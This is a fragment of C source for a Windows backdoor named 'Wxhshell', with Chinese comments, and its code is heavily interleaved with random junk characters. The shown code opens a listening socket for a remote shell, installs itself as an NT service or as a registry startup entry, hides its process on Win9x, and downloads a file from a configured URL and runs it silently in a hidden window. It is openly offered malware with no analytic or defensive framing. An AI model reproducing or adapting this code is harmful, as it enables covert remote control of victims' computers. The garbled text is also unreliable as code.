PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mdaYYD=c% if(hProcess==NULL) return 0; <iRWd X3AwM%,! HMODULE hMod; zLL)VFCJW char procName[255]; b) Ux3PB unsigned long cbNeeded; ~ibF M5m of=ql if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vffH "(<%Ua CloseHandle(hProcess); @O'I)(To q4+Yv2e
<r if(strstr(procName,"services")) return 1; // 以服务启动 w?_`/oqd| ac|/Y$\w return 0; // 注册表启动 .wD>Gs{sH[ } )L >Q;' e9lOk)`t // 主模块 %;tJQ%6-.S int StartWxhshell(LPSTR lpCmdLine) {a.
<` { {gw[%[ZM SOCKET wsl; pD[pTMG@$ BOOL val=TRUE; QhsVIta int port=0; }YRO'Q{ struct sockaddr_in door;
k1RV' /eb-'m if(wscfg.ws_autoins) Install(); !O 8.#+ IhfZLE., port=atoi(lpCmdLine); HJ",Sle =6fB*bNk] if(port<=0) port=wscfg.ws_port; RbKwO}
z$q .+HcA x{/2 WSADATA data; a>w~FUm* if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I )5<DZB9 @gEr+O1K( if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~@@
Z|w setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2
ZK%)vq0 door.sin_family = AF_INET; m2Q$+p@ door.sin_addr.s_addr = inet_addr("127.0.0.1"); i\ "{# door.sin_port = htons(port); :Pf>Z? /d WI{ ;#A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :xtT)w closesocket(wsl); @<a| return 1; M|H2kvl } pr/'J!{^ K'V 2FTJI if(listen(wsl,2) == INVALID_SOCKET) { i(Vm!Y82 closesocket(wsl); 7VY8CcL return 1; x%pRDytA } ,WGc7NN` Wxhshell(wsl); %0zS WSACleanup(); S}b~_} 6uqUiRs() return 0; HD H lCHo+>\Z } ?aFZOc4
5aG5BA[N // 以NT服务方式启动 u-:MVEm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LZa%
x { xj7vI&u. DWORD status = 0; n$xszuNJ` DWORD specificError = 0xfffffff; MOeoU1Hn <%&_#<C) serviceStatus.dwServiceType = SERVICE_WIN32; hX3@f;[B2 serviceStatus.dwCurrentState = SERVICE_START_PENDING; QvJZkGX serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =|"=l1 serviceStatus.dwWin32ExitCode = 0; w&5/Zh[~~L serviceStatus.dwServiceSpecificExitCode = 0; ntZ~m serviceStatus.dwCheckPoint = 0; ]w-.|vx serviceStatus.dwWaitHint = 0; F 3s?&T)[G Mt=R*M}D0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {[tZ.1.w if (hServiceStatusHandle==0) return; c$A@T~$ -"tY{}z status = GetLastError(); kT2Wm/L if (status!=NO_ERROR) {Xv3:"E"O { TL@mM serviceStatus.dwCurrentState = SERVICE_STOPPED; ^e%k~B^ serviceStatus.dwCheckPoint = 0; x 'mF&^ serviceStatus.dwWaitHint = 0; a%*_2# serviceStatus.dwWin32ExitCode = status; -K^41W71 serviceStatus.dwServiceSpecificExitCode = specificError; tgB=vIw?3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); +99Bi2H}o return; P7UJ-2%Y+ } R>HY:-2 }1@E"6kF serviceStatus.dwCurrentState = SERVICE_RUNNING; ^cn@?k((A serviceStatus.dwCheckPoint = 0; _A3X6 serviceStatus.dwWaitHint = 0; @ZG>mP1Vo if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6KO(j/Gwp }
mV;3ILO N|<bVq% // 处理NT服务事件,比如:启动、停止 [<S^c[47U VOID WINAPI NTServiceHandler(DWORD fdwControl) | k}e&Q_/G { ="2/\*.SL switch(fdwControl) G
B&:G V { Ld~ q1*7J case SERVICE_CONTROL_STOP: ?BsH{QRYQ serviceStatus.dwWin32ExitCode = 0; .1{l[[= W serviceStatus.dwCurrentState = SERVICE_STOPPED; R;'?;I serviceStatus.dwCheckPoint = 0; S<pkc8 serviceStatus.dwWaitHint = 0; 2vvh|?M { C`EY5"N r SetServiceStatus(hServiceStatusHandle, &serviceStatus); GW8CaTf~ } 2LZS|fB9o return; q5?{1 case SERVICE_CONTROL_PAUSE: gwq`_/d} serviceStatus.dwCurrentState = SERVICE_PAUSED; `I#`:hj break; (
OXY^iq case SERVICE_CONTROL_CONTINUE: .)t(:)*b serviceStatus.dwCurrentState = SERVICE_RUNNING; {2EMz|&8 break; o3\,gzJ case SERVICE_CONTROL_INTERROGATE: 9rS,? break; z<h|#@\ }; /GN4I!LA SetServiceStatus(hServiceStatusHandle, &serviceStatus); (!-;T } Km"&mT $ {G%3*=?,j // 标准应用程序主函数 #D0W7a int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ib; yu_ { 0Az/fzJlz ^Et,TF\ // 获取操作系统版本 K"^cq~ OsIsNt=GetOsVer(); bBG/gQ GetModuleFileName(NULL,ExeFile,MAX_PATH); N6q5`Ry {#9,j]< // 从命令行安装 qy&\Xgn;GA if(strpbrk(lpCmdLine,"iI")) Install(); J'Gm7h{
P9s_2KOF // 下载执行文件 'e85s%ru if(wscfg.ws_downexe) { [Xq<EEb if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BjvdnbJg WinExec(wscfg.ws_filenam,SW_HIDE); rei5{PC } `V@z&n0P6 Ih3$ if(!OsIsNt) { 6%UY1Q.? // 如果时win9x,隐藏进程并且设置为注册表启动 \j:AR4 HideProc(); xG w?'\ StartWxhshell(lpCmdLine); &+]x;K } 0$QIfT) else Uuz?8/w}# if(StartFromService()) ? oc+ 1e // 以服务方式启动 -f 4>MG StartServiceCtrlDispatcher(DispatchTable); !xymoiArp else pALJl[Cb // 普通方式启动 3a9u"8lG StartWxhshell(lpCmdLine); l#ZyB| %p*`h43; return 0; iJ4<f->t }
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